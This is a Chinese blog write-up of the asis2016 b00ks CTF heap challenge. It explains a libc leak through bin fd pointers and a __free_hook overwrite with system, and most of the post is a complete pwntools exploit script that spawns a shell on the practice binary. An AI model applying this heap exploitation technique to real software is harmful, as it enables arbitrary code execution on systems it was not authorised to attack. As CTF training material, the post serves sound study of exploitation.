asis2016_b00ks

第二次写这道题,收获颇多

总结:

1.利用unsorted_bin分割chunk后,后面的chunk的fd会保留main_arena的偏移值。并且要注意fd在地址最后字节为00的地方,才可以泄露。并且第一次释放掉chunk0后,再次申请时,description的值要大于第一次申请的chunk0,让202060(chunk[0])处的地址刚好能指向fd。   还有就是泄露出来的地址是smallbin中的地址,因为在smallbin中没有放入chunk时,smallbin数组中中会指向比此时小0x10的地址。

2.直接用edit来向free_hook写入system的地址,因此要申请个堆块来设计一下写入的地址和大小

from pwn import *
context.log_level = 'debug'
libc = ELF('./libc-2.23.so')
file = './b00ks'
elf = ELF(file)

local = 1
if local:
    io = process(file)
else:
    io = remote('node4.buuoj.cn',26386)

def debug():
    gdb.attach(io)

r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()

def add(name_size,book_name,description_size,book_description):
    ru('> ')
    sl('1')
    ru('Enter book name size: ')
    sl(str(name_size))
    ru('Enter book name (Max 32 chars): ')
    sl(book_name)
    ru('Enter book description size: ')
    sl(str(description_size))
    ru('Enter book description: ')
    sl(book_description)

def free(idx):
    ru('> ')
    sl('2')
    ru('Enter the book id you want to delete: ')
    sl(str(idx))

def edit(idx,book_description):
    ru('> ')
    sl('3')
    ru('Enter the book id you want to edit: ')
    sl(str(idx))
    ru('Enter new book description: ')
    sl(book_description)

def show():
    ru('> ')
    sl('4')

def change_author_name(author_name):
    ru('> ')
    sl('5')
    ru('Enter author name: ')
    sl(author_name)

ru('Enter author name: ')
sl('aaa')

add(0xd0,'a',0x90,'b') #id=1 
add(0x10,'/bin/sh\x00',0x10,'d') #id=2
free(1)
add(0xd0,'e',0xa0,'f') #id=3
pay1 = b'a'*32
change_author_name(pay1)
show()
ru('Name: ')
unsorted = u64(rx(6).ljust(8,b'\x00')) #泄露出来的时smallbin中的地址刚好(我们刻意没有申请那个大小的chunk)没有相应大小的chunk,所以会指向比他小0x10的地址
print('unsorted:',hex(unsorted))
libcbase = unsorted - 216 - 0x10 - libc.sym['__malloc_hook']
print('libcbase:',hex(libcbase))
malloc_hook = libcbase + libc.sym['__malloc_hook']
system_addr = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']

pay2 = p64(0x1) + p64(0) + p64(free_hook) + p64(0x20) #构造写入的地址和大小
add(0x20,pay2,0x10,'a')
edit(1,p64(system_addr))
free(2)
shell()

 

posted @ 2021-11-12 21:04  ATKevin  阅读(209)  评论(0编辑  收藏  举报